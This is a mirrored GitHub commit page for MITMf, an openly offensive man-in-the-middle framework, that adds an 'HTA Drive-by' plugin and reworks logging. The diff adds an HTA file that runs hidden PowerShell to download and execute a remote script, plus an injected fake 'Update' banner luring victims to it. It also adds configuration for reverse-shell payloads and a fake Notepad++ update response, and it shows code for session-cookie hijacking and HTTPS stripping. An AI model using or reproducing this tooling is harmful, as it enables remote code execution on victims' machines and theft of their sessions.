mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-03-12 04:35:49 -07:00
This is a vewwwy big commit
- The inject plugin now uses beautifulsoup4 to actually parse HTML and add content to it as supposed to using regexes - The logging of the whole framework has been compleatly overhauled - plugindetect.js now includes os.js from the metasploit framework for os and browser detection, let's us fingerprint hosts even if UA is lying! - New plugin HTA Drive-by has been added, prompts the user for a plugin update and makes them download an hta app which contains a powershell payload - the API of the plugins has been simplified - Improvements and error handling to user-agent parsing - Some misc bugfixes
This commit is contained in:
parent
ff0ada2a39
commit
5e2f30fb89
README.md
config
core
banners.pyconfigwatcher.py
ferretng
ClientRequest.pyDnsCache.pySSLServerConnection.pyServerConnection.pyServerConnectionFactory.pyURLMonitor.py
html
javascript
mitmfapi.pymsfrpc.pynetcreds
poisoners
responder
fingerprinter
ftp
https
imap
kerberos
ldap
llmnr
mdns
mssql
nbtns
pop3
smtp
wpad
sergioproxy
servers
sslstrip
ClientRequest.pyDnsCache.pySSLServerConnection.pyServerConnection.pyServerConnectionFactory.pyURLMonitor.py
utils.pylibs
mitmf.pyplugins
10
README.md
10
README.md
@ -1,5 +1,4 @@
|
||||
MITMf V0.9.7
|
||||
============
|
||||
#MITMf V0.9.8 - 'The Dark Side'
|
||||
|
||||
Framework for Man-In-The-Middle attacks
|
||||
|
||||
@ -7,10 +6,9 @@ Quick tutorials, examples and developer updates at: https://byt3bl33d3r.github.i
|
||||
|
||||
This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-proxy) and is an attempt to revive and update the project.
|
||||
|
||||
Contact me at:
|
||||
- Twitter: @byt3bl33d3r
|
||||
- IRC on Freenode: #MITMf
|
||||
- Email: byt3bl33d3r@gmail.com
|
||||
Twitter: @byt3bl33d3r
|
||||
IRC on Freenode: #MITMf
|
||||
Email: byt3bl33d3r@gmail.com
|
||||
|
||||
**Update: Installation steps have changed! Please read the new [instructions](#installation)**
|
||||
|
||||
|
4
config/hta_driveby/Flash.hta
Normal file
4
config/hta_driveby/Flash.hta
Normal file
@ -0,0 +1,4 @@
|
||||
<script>
|
||||
var c = "powershell.exe -w hidden -nop -ep bypass -c \"\"IEX ((new-object net.webclient).downloadstring('http://0.0.0.0:3000/ps/ps.png')); Invoke-ps\"\"";
|
||||
new ActiveXObject('WScript.Shell').Run(c);
|
||||
</script>
|
@ -25,7 +25,7 @@
|
||||
#
|
||||
|
||||
port = 445
|
||||
type = normal # Can be set to Normal or Karma
|
||||
mode = normal # Can be set to Normal or Karma
|
||||
|
||||
# Set a custom challenge
|
||||
Challenge = 1122334455667788
|
||||
@ -57,14 +57,13 @@
|
||||
# ini = /tmp/desktop.ini
|
||||
# bat = /tmp/evil.bat
|
||||
|
||||
#This is still experimental, don't uncomment pls!
|
||||
#[[HTTP]]
|
||||
[[HTTP]]
|
||||
|
||||
#
|
||||
# Here you can configure MITMf's internal HTTP server
|
||||
#
|
||||
|
||||
#port = 80
|
||||
port = 80
|
||||
|
||||
#[[[Paths]]]
|
||||
|
||||
@ -477,7 +476,7 @@
|
||||
# PATCH_METHOD overwrites PATCH_TYPE with jump
|
||||
# PATCH_METHOD = automatic
|
||||
PATCH_METHOD =
|
||||
HOST = 192.168.1.16
|
||||
HOST = 192.168.10.11
|
||||
PORT = 8443
|
||||
SHELL = iat_reverse_tcp_stager_threaded
|
||||
SUPPLIED_SHELLCODE = None
|
||||
@ -511,3 +510,10 @@
|
||||
PORT = 5555
|
||||
SUPPLIED_SHELLCODE = None
|
||||
MSFPAYLOAD = linux/x64/shell_reverse_tcp
|
||||
|
||||
[EvilGrade]
|
||||
|
||||
[[NotePad++]]
|
||||
host = 'notepad-plus-plus.org'
|
||||
url = '/update/getDownloadUrl.php?version='
|
||||
data = r'<GUP><NeedToBeUpdated>yes</NeedToBeUpdated><Version>%RAND%</Version><Location>http://notepad-plus-plus.org/repository/%RAND%/%RAND%/npp.%RAND%.Installer.exe</Location></GUP>'
|
70
core/banners.py
Normal file
70
core/banners.py
Normal file
@ -0,0 +1,70 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
import random
|
||||
|
||||
banner1 = """
|
||||
__ __ ___ .--. __ __ ___
|
||||
| |/ `.' `. |__| | |/ `.' `. _.._
|
||||
| .-. .-. '.--. .| | .-. .-. ' .' .._|
|
||||
| | | | | || | .' |_ | | | | | | | '
|
||||
| | | | | || | .' || | | | | | __| |__
|
||||
| | | | | || |'--. .-'| | | | | ||__ __|
|
||||
| | | | | || | | | | | | | | | | |
|
||||
|__| |__| |__||__| | | |__| |__| |__| | |
|
||||
| '.' | |
|
||||
| / | |
|
||||
`'-' |_|
|
||||
"""
|
||||
|
||||
banner2= """
|
||||
███▄ ▄███▓ ██▓▄▄▄█████▓ ███▄ ▄███▓ █████▒
|
||||
▓██▒▀█▀ ██▒▓██▒▓ ██▒ ▓▒▓██▒▀█▀ ██▒▓██ ▒
|
||||
▓██ ▓██░▒██▒▒ ▓██░ ▒░▓██ ▓██░▒████ ░
|
||||
▒██ ▒██ ░██░░ ▓██▓ ░ ▒██ ▒██ ░▓█▒ ░
|
||||
▒██▒ ░██▒░██░ ▒██▒ ░ ▒██▒ ░██▒░▒█░
|
||||
░ ▒░ ░ ░░▓ ▒ ░░ ░ ▒░ ░ ░ ▒ ░
|
||||
░ ░ ░ ▒ ░ ░ ░ ░ ░ ░
|
||||
░ ░ ▒ ░ ░ ░ ░ ░ ░
|
||||
░ ░ ░
|
||||
"""
|
||||
|
||||
banner3 = """
|
||||
▄▄▄▄███▄▄▄▄ ▄█ ███ ▄▄▄▄███▄▄▄▄ ▄████████
|
||||
▄██▀▀▀███▀▀▀██▄ ███ ▀█████████▄ ▄██▀▀▀███▀▀▀██▄ ███ ███
|
||||
███ ███ ███ ███▌ ▀███▀▀██ ███ ███ ███ ███ █▀
|
||||
███ ███ ███ ███▌ ███ ▀ ███ ███ ███ ▄███▄▄▄
|
||||
███ ███ ███ ███▌ ███ ███ ███ ███ ▀▀███▀▀▀
|
||||
███ ███ ███ ███ ███ ███ ███ ███ ███
|
||||
███ ███ ███ ███ ███ ███ ███ ███ ███
|
||||
▀█ ███ █▀ █▀ ▄████▀ ▀█ ███ █▀ ███
|
||||
"""
|
||||
|
||||
banner4 = """
|
||||
███╗ ███╗██╗████████╗███╗ ███╗███████╗
|
||||
████╗ ████║██║╚══██╔══╝████╗ ████║██╔════╝
|
||||
██╔████╔██║██║ ██║ ██╔████╔██║█████╗
|
||||
██║╚██╔╝██║██║ ██║ ██║╚██╔╝██║██╔══╝
|
||||
██║ ╚═╝ ██║██║ ██║ ██║ ╚═╝ ██║██║
|
||||
╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝
|
||||
"""
|
||||
|
||||
def get_banner():
|
||||
banners = [banner1, banner2, banner3, banner4]
|
||||
return random.choice(banners)
|
@ -18,24 +18,17 @@
|
||||
# USA
|
||||
#
|
||||
|
||||
import logging
|
||||
|
||||
from mitmflib.watchdog.observers import Observer
|
||||
from mitmflib.watchdog.events import FileSystemEventHandler
|
||||
from configobj import ConfigObj
|
||||
|
||||
logging.getLogger("watchdog").setLevel(logging.ERROR) #Disables watchdog's debug messages
|
||||
|
||||
log = logging.getLogger('mitmf')
|
||||
|
||||
class ConfigWatcher(FileSystemEventHandler):
|
||||
class ConfigWatcher(FileSystemEventHandler, object):
|
||||
|
||||
@property
|
||||
def config(self):
|
||||
return ConfigObj("./config/mitmf.conf")
|
||||
|
||||
def on_modified(self, event):
|
||||
log.debug("[{}] Detected configuration changes, reloading!".format(self.name))
|
||||
self.on_config_change()
|
||||
|
||||
def start_config_watch(self):
|
||||
|
@ -39,7 +39,8 @@ from URLMonitor import URLMonitor
|
||||
from CookieCleaner import CookieCleaner
|
||||
from DnsCache import DnsCache
|
||||
|
||||
mitmf_logger = logging.getLogger('mitmf')
|
||||
formatter = logging.Formatter("%(asctime)s [Ferrent-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("Ferret_ClientRequest", formatter)
|
||||
|
||||
class ClientRequest(Request):
|
||||
|
||||
@ -62,7 +63,7 @@ class ClientRequest(Request):
|
||||
|
||||
if 'accept-encoding' in headers:
|
||||
del headers['accept-encoding']
|
||||
mitmf_logger.debug("[Ferret-NG] [ClientRequest] Zapped encoding")
|
||||
log.debug("[ClientRequest] Zapped encoding")
|
||||
|
||||
if 'if-modified-since' in headers:
|
||||
del headers['if-modified-since']
|
||||
@ -74,10 +75,10 @@ class ClientRequest(Request):
|
||||
try:
|
||||
for entry in self.urlMonitor.cookies[self.urlMonitor.hijack_client]:
|
||||
if headers['host'] == entry['host']:
|
||||
mitmf_logger.info("[Ferret-NG] Hijacking session for host: {}".format(headers['host']))
|
||||
log.info("Hijacking session for host: {}".format(headers['host']))
|
||||
headers['cookie'] = entry['cookie']
|
||||
except KeyError:
|
||||
mitmf_logger.error("[Ferret-NG] No captured sessions (yet) from {}".format(self.urlMonitor.hijack_client))
|
||||
log.error("No captured sessions (yet) from {}".format(self.urlMonitor.hijack_client))
|
||||
pass
|
||||
|
||||
return headers
|
||||
@ -90,7 +91,7 @@ class ClientRequest(Request):
|
||||
return self.uri
|
||||
|
||||
def handleHostResolvedSuccess(self, address):
|
||||
mitmf_logger.debug("[Ferret-NG] [ClientRequest] Resolved host successfully: {} -> {}".format(self.getHeader('host'), address))
|
||||
log.debug("[ClientRequest] Resolved host successfully: {} -> {}".format(self.getHeader('host'), address))
|
||||
host = self.getHeader("host")
|
||||
headers = self.cleanHeaders()
|
||||
client = self.getClientIP()
|
||||
@ -107,18 +108,18 @@ class ClientRequest(Request):
|
||||
self.dnsCache.cacheResolution(hostparts[0], address)
|
||||
|
||||
if (not self.cookieCleaner.isClean(self.method, client, host, headers)):
|
||||
mitmf_logger.debug("[Ferret-NG] [ClientRequest] Sending expired cookies")
|
||||
log.debug("[ClientRequest] Sending expired cookies")
|
||||
self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path))
|
||||
|
||||
elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)):
|
||||
if 'securelink' in headers:
|
||||
del headers['securelink']
|
||||
|
||||
mitmf_logger.debug("[Ferret-NG] [ClientRequest] Sending request via SSL ({})".format((client,url)))
|
||||
log.debug("[ClientRequest] Sending request via SSL ({})".format((client,url)))
|
||||
self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url))
|
||||
|
||||
else:
|
||||
mitmf_logger.debug("[Ferret-NG] [ClientRequest] Sending request via HTTP")
|
||||
log.debug("[ClientRequest] Sending request via HTTP")
|
||||
#self.proxyViaHTTP(address, self.method, path, postData, headers)
|
||||
port = 80
|
||||
if len(hostparts) > 1:
|
||||
@ -127,7 +128,7 @@ class ClientRequest(Request):
|
||||
self.proxyViaHTTP(address, self.method, path, postData, headers, port)
|
||||
|
||||
def handleHostResolvedError(self, error):
|
||||
mitmf_logger.debug("[Ferret-NG] [ClientRequest] Host resolution error: {}".format(error))
|
||||
log.debug("[ClientRequest] Host resolution error: {}".format(error))
|
||||
try:
|
||||
self.finish()
|
||||
except:
|
||||
@ -137,13 +138,13 @@ class ClientRequest(Request):
|
||||
address = self.dnsCache.getCachedAddress(host)
|
||||
|
||||
if address != None:
|
||||
mitmf_logger.debug("[Ferret-NG] [ClientRequest] Host cached: {} {}".format(host, address))
|
||||
log.debug("[ClientRequest] Host cached: {} {}".format(host, address))
|
||||
return defer.succeed(address)
|
||||
else:
|
||||
return reactor.resolve(host)
|
||||
|
||||
def process(self):
|
||||
mitmf_logger.debug("[Ferret-NG] [ClientRequest] Resolving host: {}".format(self.getHeader('host')))
|
||||
log.debug("[ClientRequest] Resolving host: {}".format(self.getHeader('host')))
|
||||
host = self.getHeader('host').split(":")[0]
|
||||
|
||||
deferred = self.resolveHost(host)
|
||||
|
@ -16,10 +16,6 @@
|
||||
# USA
|
||||
#
|
||||
|
||||
import logging
|
||||
|
||||
mitmf_logger = logging.getLogger('mitmf')
|
||||
|
||||
class DnsCache:
|
||||
|
||||
'''
|
||||
|
@ -21,7 +21,8 @@ import logging, re, string
|
||||
from ServerConnection import ServerConnection
|
||||
from URLMonitor import URLMonitor
|
||||
|
||||
mitmf_logger = logging.getLogger('mitmf')
|
||||
formatter = logging.Formatter("%(asctime)s [Ferrent-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("Ferret_SSLServerConnection", formatter)
|
||||
|
||||
class SSLServerConnection(ServerConnection):
|
||||
|
||||
@ -63,13 +64,13 @@ class SSLServerConnection(ServerConnection):
|
||||
if ((not link.startswith('http')) and (not link.startswith('/'))):
|
||||
absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link
|
||||
|
||||
mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] Found path-relative link in secure transmission: " + link)
|
||||
mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] New Absolute path-relative link: " + absoluteLink)
|
||||
log.debug("[SSLServerConnection] Found path-relative link in secure transmission: " + link)
|
||||
log.debug("[SSLServerConnection] New Absolute path-relative link: " + absoluteLink)
|
||||
elif not link.startswith('http'):
|
||||
absoluteLink = "http://"+self.headers['host']+link
|
||||
|
||||
mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] Found relative link in secure transmission: " + link)
|
||||
mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] New Absolute link: " + absoluteLink)
|
||||
log.debug("[SSLServerConnection] Found relative link in secure transmission: " + link)
|
||||
log.debug("[SSLServerConnection] New Absolute link: " + absoluteLink)
|
||||
|
||||
if not absoluteLink == "":
|
||||
absoluteLink = absoluteLink.replace('&', '&')
|
||||
|
@ -28,7 +28,8 @@ import sys
|
||||
from twisted.web.http import HTTPClient
|
||||
from URLMonitor import URLMonitor
|
||||
|
||||
mitmf_logger = logging.getLogger('mitmf')
|
||||
formatter = logging.Formatter("%(asctime)s [Ferrent-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("Ferret_ServerConnection", formatter)
|
||||
|
||||
class ServerConnection(HTTPClient):
|
||||
|
||||
@ -66,13 +67,13 @@ class ServerConnection(HTTPClient):
|
||||
def sendRequest(self):
|
||||
if self.command == 'GET':
|
||||
|
||||
mitmf_logger.debug(self.client.getClientIP() + " [Ferret-NG] Sending Request: {}".format(self.headers['host']))
|
||||
log.debug(self.client.getClientIP() + "Sending Request: {}".format(self.headers['host']))
|
||||
|
||||
self.sendCommand(self.command, self.uri)
|
||||
|
||||
def sendHeaders(self):
|
||||
for header, value in self.headers.iteritems():
|
||||
mitmf_logger.debug("[Ferret-NG] [ServerConnection] Sending header: ({}: {})".format(header, value))
|
||||
log.debug("[ServerConnection] Sending header: ({}: {})".format(header, value))
|
||||
self.sendHeader(header, value)
|
||||
|
||||
self.endHeaders()
|
||||
@ -82,7 +83,7 @@ class ServerConnection(HTTPClient):
|
||||
self.transport.write(self.postData)
|
||||
|
||||
def connectionMade(self):
|
||||
mitmf_logger.debug("[Ferret-NG] [ServerConnection] HTTP connection made.")
|
||||
log.debug("[ServerConnection] HTTP connection made.")
|
||||
self.sendRequest()
|
||||
self.sendHeaders()
|
||||
|
||||
@ -90,7 +91,7 @@ class ServerConnection(HTTPClient):
|
||||
self.sendPostData()
|
||||
|
||||
def handleStatus(self, version, code, message):
|
||||
mitmf_logger.debug("[Ferret-NG] [ServerConnection] Server response: {} {} {}".format(version, code, message))
|
||||
log.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message))
|
||||
self.client.setResponseCode(int(code), message)
|
||||
|
||||
def handleHeader(self, key, value):
|
||||
@ -100,15 +101,15 @@ class ServerConnection(HTTPClient):
|
||||
if (key.lower() == 'content-type'):
|
||||
if (value.find('image') != -1):
|
||||
self.isImageRequest = True
|
||||
mitmf_logger.debug("[Ferret-NG] [ServerConnection] Response is image content, not scanning")
|
||||
log.debug("[ServerConnection] Response is image content, not scanning")
|
||||
|
||||
if (key.lower() == 'content-encoding'):
|
||||
if (value.find('gzip') != -1):
|
||||
mitmf_logger.debug("[Ferret-NG] [ServerConnection] Response is compressed")
|
||||
log.debug("[ServerConnection] Response is compressed")
|
||||
self.isCompressed = True
|
||||
|
||||
elif (key.lower()== 'strict-transport-security'):
|
||||
mitmf_logger.debug("[Ferret-NG] [ServerConnection] Zapped a strict-trasport-security header")
|
||||
log.debug("[ServerConnection] Zapped a strict-trasport-security header")
|
||||
|
||||
elif (key.lower() == 'content-length'):
|
||||
self.contentLength = value
|
||||
@ -126,9 +127,9 @@ class ServerConnection(HTTPClient):
|
||||
if self.length == 0:
|
||||
self.shutdown()
|
||||
|
||||
if logging.getLevelName(mitmf_logger.getEffectiveLevel()) == "DEBUG":
|
||||
if logging.getLevelName(log.getEffectiveLevel()) == "DEBUG":
|
||||
for header, value in self.client.headers.iteritems():
|
||||
mitmf_logger.debug("[Ferret-NG] [ServerConnection] Receiving header: ({}: {})".format(header, value))
|
||||
log.debug("[ServerConnection] Receiving header: ({}: {})".format(header, value))
|
||||
|
||||
def handleResponsePart(self, data):
|
||||
if (self.isImageRequest):
|
||||
@ -147,12 +148,12 @@ class ServerConnection(HTTPClient):
|
||||
|
||||
def handleResponse(self, data):
|
||||
if (self.isCompressed):
|
||||
mitmf_logger.debug("[Ferret-NG] [ServerConnection] Decompressing content...")
|
||||
log.debug("[ServerConnection] Decompressing content...")
|
||||
data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()
|
||||
|
||||
data = self.replaceSecureLinks(data)
|
||||
|
||||
mitmf_logger.debug("[Ferret-NG] [ServerConnection] Read from server {} bytes of data".format(len(data)))
|
||||
log.debug("[ServerConnection] Read from server {} bytes of data".format(len(data)))
|
||||
|
||||
if (self.contentLength != None):
|
||||
self.client.setHeader('Content-Length', len(data))
|
||||
@ -165,7 +166,7 @@ class ServerConnection(HTTPClient):
|
||||
try:
|
||||
self.shutdown()
|
||||
except:
|
||||
mitmf_logger.info("[Ferret-NG] [ServerConnection] Client connection dropped before request finished.")
|
||||
log.info("[ServerConnection] Client connection dropped before request finished.")
|
||||
|
||||
def replaceSecureLinks(self, data):
|
||||
|
||||
@ -174,7 +175,7 @@ class ServerConnection(HTTPClient):
|
||||
for match in iterator:
|
||||
url = match.group()
|
||||
|
||||
mitmf_logger.debug("[Ferret-NG] [ServerConnection] Found secure reference: " + url)
|
||||
log.debug("[ServerConnection] Found secure reference: " + url)
|
||||
|
||||
url = url.replace('https://', 'http://', 1)
|
||||
url = url.replace('&', '&')
|
||||
|
@ -17,9 +17,11 @@
|
||||
#
|
||||
|
||||
import logging
|
||||
from core.logger import logger
|
||||
from twisted.internet.protocol import ClientFactory
|
||||
|
||||
mitmf_logger = logging.getLogger('mimtf')
|
||||
formatter = logging.Formatter("%(asctime)s [Ferrent-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("Ferret_ServerConnectionFactory", formatter)
|
||||
|
||||
class ServerConnectionFactory(ClientFactory):
|
||||
|
||||
@ -34,12 +36,12 @@ class ServerConnectionFactory(ClientFactory):
|
||||
return self.protocol(self.command, self.uri, self.postData, self.headers, self.client)
|
||||
|
||||
def clientConnectionFailed(self, connector, reason):
|
||||
mitmf_logger.debug("[ServerConnectionFactory] Server connection failed.")
|
||||
log.debug("Server connection failed.")
|
||||
|
||||
destination = connector.getDestination()
|
||||
|
||||
if (destination.port != 443):
|
||||
mitmf_logger.debug("[ServerConnectionFactory] Retrying via SSL")
|
||||
log.debug("Retrying via SSL")
|
||||
self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443)
|
||||
else:
|
||||
try:
|
||||
|
@ -18,9 +18,6 @@
|
||||
|
||||
import re
|
||||
import os
|
||||
import logging
|
||||
|
||||
mitmf_logger = logging.getLogger('mimtf')
|
||||
|
||||
class URLMonitor:
|
||||
|
||||
|
71
core/html/htadriveby.html
Normal file
71
core/html/htadriveby.html
Normal file
@ -0,0 +1,71 @@
|
||||
<script>
|
||||
var newHTML = document.createElement('div');
|
||||
|
||||
newHTML.innerHTML = ' \
|
||||
<style type="text/css"> \
|
||||
\
|
||||
#headerupdate { \
|
||||
display:none; \
|
||||
position: fixed !important; \
|
||||
top: 0 !important; \
|
||||
left: 0 !important; \
|
||||
z-index: 2000 !important; \
|
||||
width: 100% !important; \
|
||||
height: 40px !important; \
|
||||
overflow: hidden !important; \
|
||||
font-size: 14px !important; \
|
||||
color: black !important; \
|
||||
font-weight: normal !important; \
|
||||
background-color:#F0F0F0 !important; \
|
||||
border-bottom: 1px solid #A0A0A0 !important; \
|
||||
\
|
||||
} \
|
||||
\
|
||||
#headerupdate h1 { \
|
||||
float: left !important; \
|
||||
margin-left: 2px !important; \
|
||||
margin-top: 14px !important; \
|
||||
padding-left: 30px !important; \
|
||||
font-weight:normal !important; \
|
||||
font-size: 13px !important; \
|
||||
\
|
||||
background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABsAAAAOCAYAAADez2d9AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsIAAA7CARUoSoAAAACnSURBVDhP5ZRNCgMhDIWj6ELwFt7JE3gkT+GRPIVLwZ8Wpy4KNXFm6KLQDx4qgbwkoiyl9AAE7z0opUBrDaUUyDmDc24bw+BzXVJrnbsX72cqhkF2FmMEKSUIIaD3fiQ0xmxjGKhZCOFIcgXOOVhr5+kTdIyj0mF2RbtRomattVuiQM1WlZ8RxW90tkp0RhR/aLa6/DOiQM0YY8tklMajpiC/q+8C8AS167V3qBALWwAAAABJRU5ErkJggg==") no-repeat left top !important; \
|
||||
} \
|
||||
\
|
||||
#headerupdate ul { \
|
||||
padding: 0 !important; \
|
||||
text-align: right !important; \
|
||||
} \
|
||||
\
|
||||
#headerupdate li { \
|
||||
display: inline-block !important; \
|
||||
margin: 0px 15px !important; \
|
||||
text-align: left !important; \
|
||||
} \
|
||||
\
|
||||
</style> \
|
||||
<div id="headerupdate"> \
|
||||
<h1> \
|
||||
<strong> \
|
||||
_TEXT_GOES_HERE_ \
|
||||
</strong> \
|
||||
</h1> \
|
||||
\
|
||||
<ul> \
|
||||
\
|
||||
<li> \
|
||||
<a target="_blank" href="http://_IP_GOES_HERE_/Flash.hta"> \
|
||||
<button type="button" style="font-size: 100%; margin-top: 5px; padding: 2px 5px 2px 5px; color: black;"> \
|
||||
Update \
|
||||
</button> \
|
||||
\
|
||||
</a> \
|
||||
</li> \
|
||||
</ul> \
|
||||
</div> \
|
||||
';
|
||||
|
||||
document.body.appendChild(newHTML);
|
||||
document.getElementById("headerupdate").style.display = "block";
|
||||
|
||||
</script>
|
File diff suppressed because one or more lines are too long
104
core/mitmfapi.py
Normal file
104
core/mitmfapi.py
Normal file
@ -0,0 +1,104 @@
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
"""
|
||||
Originally coded by @xtr4nge
|
||||
"""
|
||||
|
||||
#import multiprocessing
|
||||
import threading
|
||||
import logging
|
||||
import json
|
||||
import sys
|
||||
|
||||
from flask import Flask
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||
|
||||
app = Flask(__name__)
|
||||
|
||||
class mitmfapi:
|
||||
|
||||
_instance = None
|
||||
host = ConfigWatcher.getInstance().config['MITMf']['MITMf-API']['host']
|
||||
port = int(ConfigWatcher.getInstance().config['MITMf']['MITMf-API']['port'])
|
||||
|
||||
@staticmethod
|
||||
def getInstance():
|
||||
if mitmfapi._instance is None:
|
||||
mitmfapi._instance = mitmfapi()
|
||||
|
||||
return mitmfapi._instance
|
||||
|
||||
@app.route("/")
|
||||
def getPlugins():
|
||||
# example: http://127.0.0.1:9090/
|
||||
pdict = {}
|
||||
|
||||
#print ProxyPlugins.getInstance().plist
|
||||
for activated_plugin in ProxyPlugins.getInstance().plist:
|
||||
pdict[activated_plugin.name] = True
|
||||
|
||||
#print ProxyPlugins.getInstance().plist_all
|
||||
for plugin in ProxyPlugins.getInstance().plist_all:
|
||||
if plugin.name not in pdict:
|
||||
pdict[plugin.name] = False
|
||||
|
||||
#print ProxyPlugins.getInstance().pmthds
|
||||
|
||||
return json.dumps(pdict)
|
||||
|
||||
@app.route("/<plugin>")
|
||||
def getPluginStatus(plugin):
|
||||
# example: http://127.0.0.1:9090/cachekill
|
||||
for p in ProxyPlugins.getInstance().plist:
|
||||
if plugin == p.name:
|
||||
return json.dumps("1")
|
||||
|
||||
return json.dumps("0")
|
||||
|
||||
@app.route("/<plugin>/<status>")
|
||||
def setPluginStatus(plugin, status):
|
||||
# example: http://127.0.0.1:9090/cachekill/1 # enabled
|
||||
# example: http://127.0.0.1:9090/cachekill/0 # disabled
|
||||
if status == "1":
|
||||
for p in ProxyPlugins.getInstance().plist_all:
|
||||
if (p.name == plugin) and (p not in ProxyPlugins.getInstance().plist):
|
||||
ProxyPlugins.getInstance().addPlugin(p)
|
||||
return json.dumps({"plugin": plugin, "response": "success"})
|
||||
|
||||
elif status == "0":
|
||||
for p in ProxyPlugins.getInstance().plist:
|
||||
if p.name == plugin:
|
||||
ProxyPlugins.getInstance().removePlugin(p)
|
||||
return json.dumps({"plugin": plugin, "response": "success"})
|
||||
|
||||
return json.dumps({"plugin": plugin, "response": "failed"})
|
||||
|
||||
def startFlask(self):
|
||||
app.run(debug=False, host=self.host, port=self.port)
|
||||
|
||||
#def start(self):
|
||||
# api_thread = multiprocessing.Process(name="mitmfapi", target=self.startFlask)
|
||||
# api_thread.daemon = True
|
||||
# api_thread.start()
|
||||
|
||||
def start(self):
|
||||
api_thread = threading.Thread(name='mitmfapi', target=self.startFlask)
|
||||
api_thread.setDaemon(True)
|
||||
api_thread.start()
|
@ -27,8 +27,6 @@ import requests
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from core.utils import shutdown
|
||||
|
||||
logging.getLogger("requests").setLevel(logging.WARNING) #Disables "Starting new HTTP Connection (1)" log message
|
||||
|
||||
class Msfrpc:
|
||||
|
||||
class MsfError(Exception):
|
||||
@ -87,7 +85,7 @@ class Msfrpc:
|
||||
except:
|
||||
raise self.MsfAuthError("MsfRPC: Authentication failed")
|
||||
|
||||
class Msf:
|
||||
class Msf(ConfigWatcher):
|
||||
'''
|
||||
This is just a wrapper around the Msfrpc class,
|
||||
prevents a lot of code re-use throught the framework
|
||||
@ -95,13 +93,14 @@ class Msf:
|
||||
'''
|
||||
def __init__(self):
|
||||
try:
|
||||
self.msf = Msfrpc({"host": ConfigWatcher.config['MITMf']['Metasploit']['rpcip'],
|
||||
"port": ConfigWatcher.config['MITMf']['Metasploit']['rpcport']})
|
||||
self.msf = Msfrpc({"host": self.config['MITMf']['Metasploit']['rpcip'],
|
||||
"port": self.config['MITMf']['Metasploit']['rpcport']})
|
||||
|
||||
self.msf.login('msf', ConfigWatcher.config['MITMf']['Metasploit']['rpcpass'])
|
||||
self.msf.login('msf', self.config['MITMf']['Metasploit']['rpcpass'])
|
||||
except Exception as e:
|
||||
shutdown("[Msfrpc] Error connecting to Metasploit: {}".format(e))
|
||||
|
||||
@property
|
||||
def version(self):
|
||||
return self.msf.call('core.version')['version']
|
||||
|
||||
@ -114,12 +113,14 @@ class Msf:
|
||||
def killjob(self, pid):
|
||||
return self.msf.call('job.kill', [pid])
|
||||
|
||||
def findpid(self, name):
|
||||
def findjobs(self, name):
|
||||
jobs = self.jobs()
|
||||
pids = []
|
||||
for pid, jobname in jobs.iteritems():
|
||||
if name in jobname:
|
||||
return pid
|
||||
return None
|
||||
pids.append(pid)
|
||||
|
||||
return pids
|
||||
|
||||
def sessions(self):
|
||||
return self.msf.call('session.list')
|
||||
|
@ -1,5 +1,3 @@
|
||||
#!/usr/bin/env python2
|
||||
|
||||
import logging
|
||||
import binascii
|
||||
import struct
|
||||
@ -15,8 +13,6 @@ from BaseHTTPServer import BaseHTTPRequestHandler
|
||||
from StringIO import StringIO
|
||||
from urllib import unquote
|
||||
|
||||
# shut up scapy
|
||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
|
||||
from scapy.all import *
|
||||
conf.verb=0
|
||||
|
||||
|
@ -1,88 +0,0 @@
|
||||
import logging
|
||||
import os
|
||||
